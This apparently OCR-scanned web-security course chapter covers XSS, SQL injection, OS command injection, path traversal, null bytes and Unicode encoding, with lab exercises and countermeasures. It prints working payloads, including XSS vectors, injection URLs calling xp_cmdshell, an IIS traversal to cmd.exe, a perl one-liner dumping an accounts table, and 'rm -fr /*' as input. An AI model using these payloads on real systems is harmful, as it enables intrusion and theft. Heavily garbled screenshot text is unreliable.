((meta http-equiv="refresh" content="0;url=javascript:[code]"))

((body onload="[code]"))

((div style="background-image: url(javascript:[code]);"))

((div style="behaviour: url([link to code]);")) [IE]

((div style="binding: url([link to code]);")) [Mozilla]

((div style="width: expression([code]);")) [IE]

((style type="text/javascript"))[code]((/style)) [N4]

((object classid="clsid:..." codebase="javascript:[code]")) [IE]

((style))((!--((/style))((script))[codel//--))((/script))

((*[CDATAL((!--11))((script))[code]//--))((/script))

((*-- -- -=))((script))[code]((/script))((!-- -- --))

((((script))[code]((/script))

((img src="blah"onmouseover="[code]"))

((img src="blah))" onmouseover="[code]"))

((xml src="javascript:[code]"))

((xml id="X"))((a))((b))&lt;script))[code]&lt;/script)); ((/b))((/a))((/xml))
((div datafld="b" dataformatas="html|" datasrc="#X"))((/div))

[\xCO][\xBC]script))[code][\xCO][\xBC]/script)) [UTF-8; IE, Opera]
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Countermeasure

There are 3 types of web applications with reference to Cross-Site Scripting. Each have different potential
countermeasures to thwart attack.

1) HTML-Aware:
Web Applications allowing HTML user input within the web environment.

Allowing HTML user input within a system is inherently dangerous and is discouraged, but in many
cases it is a necessity. Here are a few thing to do in order to decrease exposure risk:

Create HTML TAG ALLOW lists. (Only allow certain safe HTML tags)

Create HTML ATTRIBUTE ALLOW lists. (Only allow certain safe HTML Attributes)
Filter any input JavaScript/Java/VBScript/ActiveX/Flash Related.

Host HTML user input on an alternate domain. (acme.net instead of .com)
Double and Single quotes should be filtered

Remove all Null Characters

2) HTML-Disable:
Web Applications forbidding HTML user input is within the web environment.

L] Filter HTML enabling characters
= Double and Single quotes should be filtered
= Remove all Null Characters

3) HTML-Hybrid:
HTML user input is allowed, but system has set up special HTML tags to be used by the user within the
system.

L] Ensure all allowed tags and attributes are safe and limited.
= Double and Single quotes should be filtered
= Remove all Null Characters
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4.2 SQL Injection

Introduction

Direct SQL Command Injection is a technique where an attacker creates or alters existing SQL commands to
gain access to unintended data or even the ability to execute system level commands on the host. This attack
relies on exploiting nonexistent or poorly designed input validation routines.

Detail

Databases are fundamental components of any web based application. They enable websites to store data such
as user session information, customer records, preferences and content elements. Web applications interact
with databases using the Structured Query Language (SQL) to dynamically build pages containing customized
data views for each user.

This is accomplished by the application taking user input and combining it with static parameters to build a SQL
query. This query is used to retrieve appropriate data from the database which the application then presents to
the user.

The security model used by many web applications assumes that a SQL query is a trusted command. This
means that SQL queries are able to circumvent access controls, thereby bypassing standard authentication and
authorization checks. In some instances, SQL queries may allow access to host operating system level
commands.

Potential Exploits

Applications that do not correctly validate and/or sanitize the user input, can potentially be exploited in several
ways:

Changing SQL values

Concatenating SQL statements

Adding function calls and stored-procedures to a statement
Typecast and concatenate retrieved data

Example - Changing SQL Values
Original Mysql-Query:
UPDATE usertable SET pwd="$INPUT[pwd]' WHERE uid="$INPUT[uid]’;

Deformed HTTP-Request:
http://www.none.to/script?pwd=ngomo&uid=1'+or+uid+like'%25admin%?25"';--%00

Example - Concatenating SQL Statements
Original PostgreSql-Query:
SELECT id,name FROM products WHERE id LIKE '%$INPUT[prod]%"';

Deformed HTTP-Request:
http://www.none.to/script?0';insert+into+pg shadow+usename+values+('hoschi');--

Example - Adding function calls and stored-procedures to a statement
Original MSSQL-Query:
SELECT id,name FROM products WHERE id LIKE '%$INPUT[prod]%"';

Deformed HTTP-Request:
http://www.none.to/script?0'; EXEC+master..xp cmdshell(cmd.exe+/c);--
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Example - Typecast and concatenate retrieved data
Original DB2-Query:
SELECT id,t_nr,x_nr,i_name,last_update,size FROM p_table WHERE size = '$INPUT[size]';

Deformed HTTP-Request
http://www.none.to/script?size=0'+union+select+'1','1','1',concat(uname||'-
'| [passwd)+as+i name+'1'+'1'+from+usertable+where+uname+like+'25

A short summary of problems with popular database systems follows;

MySQL
. Supports 'INTO OUTFILE'

- Runs often as "root"

. Most modules and libs do not support multiple-statements.

Oracle
. Subselects possible
] UNION possible
=  Comes with many stored procedures (utf_file!)
] No multiple-statements

DB2

L] Subselects possible

] UNION possible

. Stored procedures

] No multiple-statements
Postgres

L] Supports COPY (if superusermode)

] Subselects possible

= UNION possible

] Stored procedures

= Multiple statements are possible!
MS SQL

] Subselects possible

UNION possible

Stored procedures

Multiple statements are possible!

Many dangerous default stored procedures (xp_cmdshell, sp_adduser)
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Example

Attempting to access the online banking application without an account

http://www.hackmebank.com/AcmeHackme/bank/login.aspx?uid="'&passw=

‘3 Hackme Bank - Microsoft Internet Explorer

An Error Has Occurred.

Error Message:

Syntazx error i string in query expression username ="' and password ="'

We need to try to figure out the correct SQL syntax

http://www.hackmebank.com/AcmeHackme/bank/login.aspx?uid="or%201&passw=

%} Hackme Bank - Microsoft Internet Explorer

| SEARCH | [ ACCOUNT | CONTACT | FORUM

An Error Has Occurred.

Error Message:

Syntaz error m sting i query expression usemarme = "or 1' and password ="'
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Example continued

And finally when we get it correct
http://www.hackmebank.com/AcmeHackme/bank/login.aspx?uid='0r%201%200r%20'&passw=

‘3 Hackme Bank - Microsoft Internet Explorer

Hello, John Smith

Welcome to Hacleme Banle Online.

View Account Detals: [1001160140 Checking 1] | 80|

We found ourselves logged in !!!

Countermeasure
= Never pass unchecked user-input to database-queries.
= Validate and sanitize every user variable passed to the database.
= Check if the given input has the expected data type.

Quote user input which is passed to the database.
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4.3 OS Command Injection

Introduction

In some instances when user input is not adequately checked, it is possible to executing operating system
commands. These can be though html forms, cookies or URL parameter. The commands typically will execute
with the same privileges as the application component or webserver.

Detail

Nearly every programming language allows the use of so called "system-commands". Many applications make
use of this type of functionality. System-interfaces in programming and scripting languages pass input
(commands) to the underlying operating system the computer uses. The operating system then tries to execute
the given input and returns its output to stdout and various return-codes to the program (successful, not
successful etc.).

System commands are normally a very convenient feature. With little effort it is possible to add functionality to
your web-application. Common usage for OS-commands in web applications is filehandling (remove,copy),
sending emails and calling operating system tools to modify the applications input and output in various ways
(filters).

With the aid of error messages, it is possible to obtain information about the operating system and
components. This knowledge of the OS implicates knowledge of available OS commands and typical command
line tools for this OS.

Depending on the scripting- or programming language and the operating-system it is possible to:

alter the system commands

alter parameters passed to system commands

execute additional commands and OS typical command line tools.
execute additional commands within executed command

Not only direct usage of system-commands is dangerous. Some scripting-languages like PHP, Perl and others
can automatically execute script code in:

. required or included files
] evaluated variables and files
= regular expressions

Uploaded files which are passed to OS commands can also have special names and or content.

A summary of problems regarding OS command execution for popular programming languages follows:

= PHP

. require() = Java(Servlets, JSP s)

. include() . System.* (especially System.Runtime)

= eval()

L] preg_replace() (with /e modifier) . C,C++

= exec() . system()

. passthru() . exec**()

= " (backticks) »  (strcpy strcat sprintf vsprintf gets strlen
= system() (especially with null bytes) scanf() fscanf
= popen() sscanf vscanf vsscanf vfscanf realpath

getopt getpass streadd strecpy strtrns)
L] Shell Scripts

= are always dangerous L] Python
= depending heavily on used Shell = exec()
=  eval()
= Perl = execfile()
= open() (the #1) =  compile()
=  sysopen() L] input()
= glob()
. system()
= " (backticks) NB : This is just a summary. Of course every
= eval() language allows system commands.
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4.4 Path Traversal

Introduction

"Path Traversal" attacks allow a malicious user to execute commands or view data outside of the intended
target path. On UNIX based system which fall victim to path traversal vulnerabilities, the "/etc/passwd" file is
commonly accessed. Path traversal attacks are normally carried out via unchecked URL input parameters,
cookies and HTTP request headers. In most cases, a path traversal attack inherits the permissions of the
application being executed which may then access any file allowable using those permissions.

Detail

Many web applications utilize the file system to temporarily and/or permanently save information. The WWW-
ROOT directory is the virtual root directory within a web server which is accessible to a HTTP Client. Web
Applications store data inside and/or outside WWW-ROOT in designated locations.

The file system may be accessed via numerous commands and functions used by the web application
programming language. File system functions and commands can be very dangerous when carelessly used or
publicly accessible.

If the application does not properly validate and/or sanitize the input of client-side data (URL parameters,
Cookie, HTTP Headers, etc.), the following can be altered:

. file names
= file paths
. file extensions

Thus leading to a "file disclosure" vulnerability.

If the application does NOT properly check and handle characters used to describe paths (exp. "../" [0S
Dependent]) it is highly probable that the application is vulnerable to a "Path Transversal" attack.

Path traversal attacks are typically used in conjunction with other attacks like direct OS commands or direct
SQL injection,

Scripting languages such as PHP, Perl, SSIs and several "template-based-systems" who automatically execute
script code in required, included or evaluated files.

Traversing back to system directories which contain binaries makes it possible to execute system command
OUTSIDE designated paths instead of opening, including or evaluating file.
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Example

http://81.6.5.232/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir

3 http: /481 6.5 232/scripts/_A~__winnt/spstem32/c O] x|
Datei  Bearbeiten  Ansicht  Favorten  Estras 7
s Zurlick. = = - @ . 2 it | @Suchen [ 3] Favoriten @Medlen @ | % = E .
Adregse :@jhttp:.f.-"E!'l.E.5.232a’scripts.-"..i'éu:[li’éaf...-’winnt.-"s_l,lstemSEa’u:md.exe?a’mdir j @Wechseln zu | Links

=
Directory of C:%InetPubdscripts
04/11/03 11:20p <DIR>
04/11/03 11:2Z0p <DIR>
11/18/92 09:04p 208,144 haxored.exe
01/z0/03 05:16a <DIR> ori
01/20/03 07:30a 2,965 register.pl
0z2/18/03 0O1:48p 0O TFTF1lile
0z2/21/03 05:57a 0O TFTFP134
0z/21/03 05:58a 0O TFTP1a3
0z2/18/03 0O1:47p 0O TFTFP1le4
0z2/18/03 O01l:46p 0O TFTFPlea
02/21/03 05:57a 0O TFTFR17O
02/21/03 05:58a 0O TFTF174
0z2/18/03 01:47p 0O TFTFGZ
0z2/18/03 0Ol:46p 0O TFTP&S
14 Fileis) 211,109 bytes
1,696,605,696 bytes free
[
|&] Fentig o Intemet 4
Countermeasure

] Use the file system only if absolute necessary.

= Validate and sanity check all user input

L] Use "hard coded" absolute file paths with extensions.
=  Always store data outside WWW-ROOT

L] Use databases instead of the file system

L] Never pass unchecked user input to file system commands.

L] Do Not include unchecked user input in templates or other output related files.
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4.5 Meta Characters

Introduction
Malicious users can change the behavior of a web-application by inserting META-characters in user input such
as input parameters including form parameters, cookies, http request-headers.

Detail

Meta characters are non-printable and printable characters which affect the behavior of programming language
commands, operating system commands, individual program procedures and database queries. They are
typically injected into URL-encoded parameters within query strings.

The risk is heavily dependent on the operating system, programming languages and workflow of the affected
application.

Example

Semicolons for additional command-execution

Pipes for command-execution

Call signs for command-execution
] for command-execution
0 ] Spaces for faking url s and other names (especial in URLs!)
0 ] Nullbytes for cutting off strings and filenames
4 1 EOT for faking file ends

] Newlines for additional command-execution,fake-mails and changing file-content
1 Newlines for additional command-execution,fake-mails and changing file-content
] Escape OS-dependent

] Backspace OS-dependend (faking logdfiles, changing file-content)

] Delete OS-dependent
Tildes OS-dependent (circumvent authentication on some ms-webservers)
] Quotation-marks in combination with database-queries
- ] in combination with database-queries and creation of negative nhumbers
*% ] in combination with database-queries
* Backticks for command execution
/\ ] Slashes and Backslashes for faking paths and queries
> ] LTs and GTs for file-operations
> ] for creating script-language related TAGS within documents on webservers!
]

1

— 9
— e

Qo

NOHOOOON

X X X X X X X X
— U Aaw

programming/scripting- language related

$ ] programming/scripting- language related

@ ] programming/scripting- language related

: ] programming/scripting- language related

({[1}) 1 programming/scripting/regex and language-related

" = = ®E = ®  ® ¥ E ®E N ®E N S ®E ¥ N N N S ® N ® ®
e e e W N W W e e F e e F e N e e W N e N E e e e N N W N e |

Countermeasure

Remove meta-chars from user-input
Check if given input has the expected data-type
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4.6 Null Bytes

Introduction

Within an HTTP query string, the null byte (\00O || 0x00) can be used to alter URL input parameters such as
paths, filenames, parameters, commands, etc.

Regardless of how it is represented in any programming language the concept is the same. NULL means
NOTHING. 0 mean ZERO. The two ideas are different and it is a good idea to get that clear. If you defreference
a pointer in C++ that points to NULL it will crash because you are defrerenceing NOTHIING. NULL is not the
same as ZERO, it might be represented by '0' or "\0' or something similar though. In languages such as C and
C++, the NULL character is presented as \0.
An example of why the NULL byte is used: suppose you have this array:

my_array[5]="hello";

Then actually your array is bigger than 5 bytes, it's 6 bytes. Why? Because this is in the memory:

0 ——m =T

as you can see, the NULL-byte helps the machine to recognise the end of a string array.
Detail

Whilst web applications may be developed in a variety of programming languages, these applications often pass
data to underlying "low level" C-functions for further processing and functionality.

If a given string "AAA\OBBB" is accepted as a valid string by a web application (or specifically the programming
language), it may be shortened to "AAA" by the underlying (low level) C-functions. This occurs because C/C++
perceives the null byte (\0) as the termination of a string. Applications which do not perform adequate input
validation can be fooled by inserting null bytes in "critical" parameters. This is normally done by URL Encoding
the null bytes (%00). In special cases it is possible to use unicode characters .

The attack can be used to :

Disclose physical paths, files and OS-information

Truncate strings

Truncate Paths

Truncate Files

Truncate Commands

Truncate Command parameters

Bypass validity checks, looking for substrings in parameters
Cut off strings passed to SQL Queries

The most popular affected scripting and programming languages are:

= Perl (highly)
= Java (File, RandomAccessFile and similar Java-Classes)
L] PHP (depending on its configuration)

Example

This one get's a lot of people tripped up. Sometimes, it's almost impossible to avoid letting user data near the
shell. This can result in terrible security holes. Imagine that you want to write a script allowing a user to view
the contents of any directory. For some reason, rather than using opendir with readdir or File::Find, you've
decided to open a pipe directly to the 'lIs' utility. You have the following lines of code in your program:

my $LS = '"/usr/bin/Is';
my $dir = $query->param( 'dir' );

local *PIPE;
open PIPE, "$LS $dir |" or die "Cannot open pipe to $LS: $!";
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my @stuff = <PIPE>;

If everyone plays by the rules and makes no mistakes, you have no problem. If a cracker stumbles across this,
the cracker could easily enter something like “rm -fr /* for the "dir" parameter and you're looking for a new
job.

Here's a slightly more insidious example. Imagine your boss comes to you and says "We need to let everyone
have the ability to read the contents of .dat files from a browser."

You're conscientious, you know security, but you have a problem. A quick examination of file names reveals
that just about every character ever invented has been used. Since you have little to no control over the file
names, you'll have to allow just about anything through. However, you've decided that to make it secure, the
end user supplies the name of the file and you'll tack a .dat on the end. This way, the only files that can be
opened and read are those that have that extension.

Consider the following code (the following illustrates what is known as "The Poison Null Byte"):

1. #!C:/perl/bin/perl.exe -wT

2. use strict;

3. use CGI;

4,

5. # Do not run this script on a server connected to the 'Net
6. # Itis supplied as a bad example

7.

8. my $cgi = CGI->new();

9. my $file = $cgi->param( 'file' );

10.

11. # Bad taint checking!

12. # This is, amongst other things, a deliberately incomplete list
13. # of shell metacharacters

14. my $data = $1 if $file =~ m#([~./\\ $"&]+\.2[~/\\ $"&]+)$#;
15.

16. $data .= '.dat’;

17. my $userlnfo;

18.

19. open FILE, "<$data" or die "Cannot open $data: $!'\n";

20. {

21. local $/;

22. $userinfo = <FILE>;

23. %}

24. close FILE;

25.

26. print $cgi->header,

27. $cgi->start_html,

28. $cgi->pre( $userInfo ),

29. $cgi->end_html;

Hmm.... what's wrong with it? The author (me, in this case) uses warnings, strict, and taint checking. Users
need to be able to get at the contents of .dat files on the server, but filenames can be very unpredictable.
Obviously, we need to let user data near the shell. The author, however, knows this is a security hole, so he
conventiently supplies a list of shell metacharacters which he doesn't want. That's on line 14, which is a
deliberately bad example of taint checking, (which we cover in the next section). Further, he appends a ".dat"
(line 16) extension to guarantee that the user can only view files with said extension. Looks pretty secure to
me!

I deliberately left the list of shell metacharacters incomplete so you wouldn't be tempted to use this technique.

So what's the problem? Perl, as many of you know, is written in C. C recognizes the null byte (ASCII zero) as
the end of a string. Perl does not. If Perl tries to make a system call (such as open FILE, $somefile) with an
embedded null byte in the data, the data is passed to the C internals, which happily ignore any information
from the null byte on. So how does that affect our script?

I named the script insecure.cgi and ran it locally through a browser. I used the following URL:
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http://localhost/cgi-bin/insecure.cgi?file=insecure.cgi%00loser!

See that embedded %00? Hmm... it's right after the name of my script. It passes our taint checking and Perl
thinks it's trying to open insecure.cgi%O00Iloser!.dat. However, the C underbelly tries to open insecure.cgi, and
does! Then, the rest of the script happily dumps its source code to your browser.

The quick fix for this is to add a line after line 14:
$data =~ s/\x00//g;

That line will substitute out all null bytes. However, the real fix is to avoid letting user data near the shell. How
do we do that? One way would be to read a list of all .dat files from our target directory. Stuff those file names
into a hash. Check to see if a hash key matching the user-supplied hame exists and if so, open it. Yes, that's
jumping through a lot of hoops to avoid letting user data near the shell. It's probably overkill in this case and
I'm sure that I'll hear some flack from programmers telling me to ease up. But honestly, would you have known
about the null byte problem? I didn't and I found a script I had to go back and change once I discovered this.

You may encounter circumstances when you are unavoidably forced to pass user data to the shell. We'll cover
these as needed. I strongly recommend that you read through the WWW Security Faq (linked to above) to
ensure that you understand the issues involved with this.
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Example

http://www.hackmebank.com/AcmeHackme/bank/content.aspx?content=/filler.htm

3} Hackme Bank - Microsoft Internet Explorer

SEARCH | LOGOUT | ACCOUNT | CONTACT | F

Whether you're buying a new home, planning a vacation, or building a small business, we
the information and tools you'll need to malke the night decisions. From online applicatior
teractive tools, to managing your accounts online, we've got everything you'll need to n
your next stage.

°Need Small Business Eesources?

Dizcover an ﬁasy way to bank on]me and access services to help you fmanage your busir

using System;using System. Datajusing System Data OleDbousing System Web using
swstern. Web ULusing Svstern Web TLWebControls;using

system. Web UL HtmlControls namespace AcmeHackme{ public class
Authent:lcat:lon Page { protected cystermn, Web TLWebControls Label message;
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Countermeasure
Remove null bytes from all user input

(HTTP POST requests submit user input through STDIN which is terminated by a null byte)

Page 64




Security Check U4. Input Validation

4.7 Exercises

Exercise 1 : Weak Access Control
Conduct the exercise at

http://127.0.0.1:9090/WebGoat/attack?Screen=9

Your task is to attempt to access directories not located under the webserver root directory

Exercise 2 : SQL Injection
Using the exercise located at

http://127.0.0.1:9090/WebGoat/attack?Screen=10

your task is to add to the SQL command submitted in the form to read all the accounts located on the
database.
Exercise 3 :Cross Site Scripting

Your task is to create an entry on the forum website so that when anyone clicks on your message that they
receive a pop javascript with a personal message from you

http://127.0.0.1:9090/WebGoat/attack?Screen=7
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["1Mini-Browser 2.20 _|o| x

URL: [http://192168.110.100/cg-bin/wm cgi =]
PostData:I ;l
Referrer: Ihttp:x’ﬂ 92.188.110.100¢ ;I
[~ Use Intemet Explorer directly (anly to determine PostData, do nat use this technique for Cookies)
Uszer
Get Fost | Header | At | Delete Cookies | e
Password:
Log | Browse ||Source [49] | Links [9] | Forms (17] | Cookies (2] | Settings | Mote | About £ [nfo
word wrap | Highlight HTML tags |
39 </ TR> -
40 </TABLE> e

41 </BODT> <img src="http:// 192.165.110.100/money burning md wht.gif" /»><hl>Please sign in.</hl><form
42 | method="get” action="http://192.168.110.100/cyi-binsmm, cgi™ »04ccount Nuwber <input type="text”

43 | name="userid™ ,-"><p A=PIN <input type="password” nawe="pin" /x<p AR "hidden™

RN bl -<p Sr<Cinput type="submit” name="".submit” ,-"><,-"f0rm><p fra

45 | href="http: UlQZ 165. 110, 100/cgi-bin/wm. cgi 7transaction=reset">Feset all accounts to beginming
4E state.</ar<hr /»<BODY BGCOLOR="#FFFFFF" LINE="#000099" VLINK="#336699" TEXT="#000000" TOPMARGIN=0
47 LEFTHARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0-

<TABLE BORDER=0 CELLSPACING=0 CELLPADDING=0-
<TR. WALIGN=TOF ALIGH=LEFT> —_—
<TD WIDTH=131 HEIGHT=11»><IMG SRC="http://192.168.110.100/clearpixel.gif™ WIDTH=131

51 | HEIGHT=1 BORDER=00</TD>

=TD=< /TD=
</TR>
<TR VALIGN=TOP ALIGN-=LEFT> |- |
0 0 src="Welcome to Buggy Bank -
Please sign m. Login-Dateien/User_Guide_NProfessional_up/
width=101 border=0></A></TD><
A ccount Mumber | <TD></TD></TR></TBODY></TABLE>< |-~ The
CGI is at fbackup/login.cgi.bak --»><IMG
PO src="Welcome to Buggy Bank - Login-Dateier
<Hl>Please sign in.</Hl>
o alonhalle) Jacipb <FORM action=http://192.168.110.100/cgi-b1

Number <INPUT>
<P>PIN <INPUT type=password name=pins

| probierenwismal | <P><INFUT type=login name=transaction

value="<scriptsalert('hallo')</scripts">

Reset all accounts to begummg state. <P><INPUT tyﬁe=subm'it value="probieren wir

<P><A href="http://192.168.110.100/cgi-bir

[Webtlaren Horme] [ |14 11 - -
accounts to beginning state.</A>
<HR>

Please contact our Webm
® Copyrigh

<TABLE cellspacing=0 cellPadding=0 borders
<TBODY>
<TR vAlign=top align=left>
<TD W'igth=l31 height=11><IMG height=1

http://192.168.110.100/cgi-

bin/wm.cgi?userid=&pin=&transaction=<script>alert('hallo')</script>login&.submit=Anfrage+senden

Referenzen:

http://www.cgisecurity.com/lib/XSS.pdf
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Exercise 5 : Command Injection auf Buggy Bank

Test: Command Injection via special character in Account cookie. BSP: pgp —decrypt $cookie ($cookie =
test;netstat —an) Kommando: #pgp —-decrypt text; netstat —an;

Mini-Browser 2.20

URL: |http:h’1 92.168.110.100/cgi-binwrn. coitranzaction=transfer ;I

PostData: I ;I

Referrer: Ihttp:.-".-"‘l 92.168.110.100/cai-binwm. coitusend=123456 73301 237508 pin=1 234&transaction=|ogin&.suhmit=A;|

I~ Use Intemet Explorer directly [only to determine PostData, do rnot use this techrique for Cookies)

User:

Get Post | Headetl Aot | Deletel:ookiesl

Pazsword:

[Log | Browse | Source(3] | Liks(10) | Foms(12) | Cookies(3) | Setings | Note | about/Info

cund> GET Acgi-bindwm. cgiftransaction=transfer HTTP/AL.0
cods Aocept: image/gif, image/x-xbitwmap, image/jped, image/pipeqy, */%
cods Referer: http://1l92.168.110.100/cygi-bin/wn. cglsuserid=1234567590L23700spin=1234dstransaction=1logying, subni t=Anfraget+se
cnds User-Agent: Mozilla/s4.0 (compatible:; MSIE 5.5: Windows 98 DigExt)
ost: 18z, leog, LL0, LoU
md> Cookie: 5essionID=10798942583; Account=pCozlinixESgD3alfHeFHOnBICyGoaTMentalPnezIN=5c3152FFSFAGTLIOK g% 3D53Dw V31500
-
hdr> HITP/L.1l 200 0K
hdr> Date: Sun, 21 Mar 2004 15:47:55 GMT
hdr> Serwver: ipache/1.3.27 (Unix) Debian GNU/Lirnuw PHP/4.1.2
hdr> Commection: close
hdr> Content-Type: text/html: charset=iso-5559-1
Femquestlhone Error = 0O

Ausgangslage: Im Cookie “Account” wird die PGP verschlisselte Kontonummer gespeichert. Dieses Cookie
wird jedoch nicht gefiltert bevor es PGP (ibergeben wird. Duch Eingabe von “;” kann die
Kommandozeileneingabe getrennt werden und ein Befehl dem Betriebssystem lGibergeben werden. Da der
Charakter “;” durch den Browser als Trennung der Cookies interpretiert wird, muss dieser durch den ASCII Hex
Wert “%0b"ersetzt werden. (Simulation: nur ping und netstat moéglich)

Test:

GET /cgi-bin/wm.cgi?transaction=transfer HTTP/1.0

Host: 192.168.110.100

Referer: 192.168.110.100

Accept: */*

Accept-Encoding: None

User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Connection: Close

Cookie: SessionID=1079894283; Account=pCqzI3mSxzINs %63b netstat -an

Empfehlung: Traue keinen Daten die von aussen kommen. Jeder Input (auch ein Cookie) muss zuerst validiert
werden !

Referenzen
ASCII Table: http://www.asciitable.com

Exercise 6 : Logischer Fehler auf Buggy Bank

Schwachstelle: Beim Uberschreiten des Kontostandes wird eine Warnung mit dem aktuellen Kontostand
angezeigt. Wenn ein Angreifer versucht Geld von einem fremden Kontostand auf ein anderes Konto zu
Ubertragen und dieser das Konto Ubersteigt wird diese Warnung angezeigt. Dadurch kann der Kontostand von
fremden Personen ermittelt werden.

Empfehlung: Prifung der Identitat muss vor der Priifung des Kontostandes geschehen.
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5. Canonicalization

5.1 Unicode Encoding

Introduction

Unicode Encoding is a method for storing characters with multiple bytes. Wherever input data is allowed, data
can be entered using Unicode to disguise malicious code and permit a variety of attacks. RFC 2279 references
many ways that text can be encoded.

Detail

Unicode was developed to allow a Universal Character Set (UCS) that encompasses most of the world's writing
systems. Multi-octet characters, however, are not compatible with many current applications and protocols, and
this has led to the development of a few UCS transformation formats (UTF) with varying characteristics. UTF-8
has the characteristic of preserving the full US-ASCII range. It is compatible with file systems, parsers and
other software relying on US-ASCII values, but it is transparent to other values.

In a Unicode Encoding attack, there are several unique issues at work. The variety of issues increases the
complexity. The first issue involves Character Mapping while the second issue involves Character Encoding. An

additional issue is related to whether the application supports Character Mapping and how that application
encodes and decodes that mapping.

Example

http://host/cqi-bin/bad.cgi?foo=../../bin/Is%?20-al|

URL Encoding of the example attack:

http://host/cqi-bin/bad.cqgi?foo=..%?2F../bin/Is%20-al|

Unicode encoding of the example attack:

http://host/cqgi-bin/bad.cgi?foo=..%c0%af../bin/Is%?20-al|
http://host/cgi-bin/bad.cgi?foo=..%c1%9c../bin/Is%20-al|
http://host/cqgi-bin/bad.cgi?foo=..%c1%pc../bin/Is%20-al|
http://host/cgi-bin/bad.cgi?foo=..%c0%9v../bin/I1s%?20-al|
http://host/cqgi-bin/bad.cgi?foo=..%c0%qf../bin/Is%20-al|
http://host/cgi-bin/bad.cgi?foo=..%c1%8s../bin/Is%20-al|
http://host/cqgi-bin/bad.cgi?foo=..%c1%1c../bin/Is%?20-al|
http://host/cgi-bin/bad.cgi?foo=..%c1%9c../bin/Is%20-al|
http://host/cqgi-bin/bad.cgi?foo=..%c1%af../bin/Is%?20-al|
http://host/cgi-bin/bad.cgi?foo=..%e0%80%af../bin/Is%?20-al|
http://host/cgi-bin/bad.cgi?foo=..%f0%80%80%af../bin/Is%?20-al|
http://host/cgi-bin/bad.cgi?foo=..%f8%80%80%80%af../bin/Is%20-al|
http://host/cgi-bin/bad.cgi?foo=..%fc%80%80%80%80%af../bin/Is%20-al|
http://host/cgi-bin/bad.cgi?foo=..%c0%af..%c0%af..%c0%af../bin/Is%20-al|
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http://host/cgi-bin/bad.cgi?foo=../../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?foo=..%2F../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?foo=..%c0%af../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?foo=..%c1%9c../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?foo=..%c1%pc../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?foo=..%c0%9v../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?foo=..%c0%qf../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?foo=..%c1%8s../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?foo=..%c1%1c../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?foo=..%c1%9c../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?foo=..%c1%af../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?foo=..%e0%80%af../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?foo=..%f0%80%80%af../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?foo=..%f8%80%80%80%af../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?foo=..%fc%80%80%80%80%af../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?foo=..%c0%af..%c0%af..%c0%af../bin/ls%20-al|
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Example

http://81.6.5.232/scripts/..%c0%af../perl/bin/perl.exe?-1d:\perl\site\lib%?20-1d:\perl\lib%?20-
e"use%?20DBI;$dbh%3dDBI-
>connect('DBI:mysql:demoregister:192.168.30.33:3306','register",'hallo") ; $sth%3d$dbh-

>prepare(\"SELECT%20*%20FROM%20 " accounts " %20LIMIT%200,%2030;\"); $sth-
>execute;while(@row%3d$sth->fetchrow array%20){print%20\"@row\n\";}

3 Error in CGI Application - Microsoft Intemnet Explorer

File Edit “iew Favortes Tools  Help

S BB A

Back Foariard Stop  Refresh  Home

a9 @M 9 B 9 B F

Seaich Favorites  History tdail Print i Discuss

Address I@ h-> prepare(t"SELE CT%207% 20FROM 220 accounts %20LIMIT %200, %2030:4"):$sth-> execute while{ @row? 3ddsth-» fetchrow_anap® 201 print 204 @rowint"H$dbh-> discon

CGI Error

The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it
are:

Oliver Munchow Rautistrasse 12 o.munchow@netprotect.ch 12345678% 123456780 Yes

Sven Scherler Rautistrasse 12 $.S5cherler@netprotect.ch 123456783 123456780 Yes H
Erik Bussink Rautistrasse 12 e.bussinkB@netprotect.ch 123456789 123456780 Yes Gre
Jean Wheeler Rautistrasse 12 j.wheeler@netprotect.ch 123456789 123456780 Yes HAL
Duder Home Base Rautistrasse 12 dhomebaselnetprotect.ch 123456785 123456780 du
Sean Wheeler Rautistrasse 12 s.wheeler@netprotect.ch 123456789 123456780 swhee

Countermeasure

Technically speaking, some security checking should be carried out after UTF-8 decoding is completed.
Moreover, it is recommended to check that the UTF-8 encoding is a valid canonical encoding for the symbol it
represents. It is often the webserver itself which is vulberable (e.g. Microsoft IIS and the Unicode attacks
exploited by the Nimda worm), so a suitable patch/upgrade should be applied.
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http://81.6.5.232/scripts/..%c0%af../perl/bin/perl.exe?-Id:\perl\site\lib%20-Id:\perl\lib%20-e"use%20DBI;$dbh%3dDBI->connect('DBI:mysql:demoregister:192.168.30.33:3306','register','hallo');$sth%3d$dbh->prepare(\"SELECT%20*%20FROM%20`accounts`%20LIMIT%200,%2030;\");$sth->execute;while(@row%3d$sth->fetchrow_array%20){print%20\"@row\n\
http://81.6.5.232/scripts/..%c0%af../perl/bin/perl.exe?-Id:\perl\site\lib%20-Id:\perl\lib%20-e"use%20DBI;$dbh%3dDBI->connect('DBI:mysql:demoregister:192.168.30.33:3306','register','hallo');$sth%3d$dbh->prepare(\"SELECT%20*%20FROM%20`accounts`%20LIMIT%200,%2030;\");$sth->execute;while(@row%3d$sth->fetchrow_array%20){print%20\"@row\n\
http://81.6.5.232/scripts/..%c0%af../perl/bin/perl.exe?-Id:\perl\site\lib%20-Id:\perl\lib%20-e"use%20DBI;$dbh%3dDBI->connect('DBI:mysql:demoregister:192.168.30.33:3306','register','hallo');$sth%3d$dbh->prepare(\"SELECT%20*%20FROM%20`accounts`%20LIMIT%200,%2030;\");$sth->execute;while(@row%3d$sth->fetchrow_array%20){print%20\"@row\n\
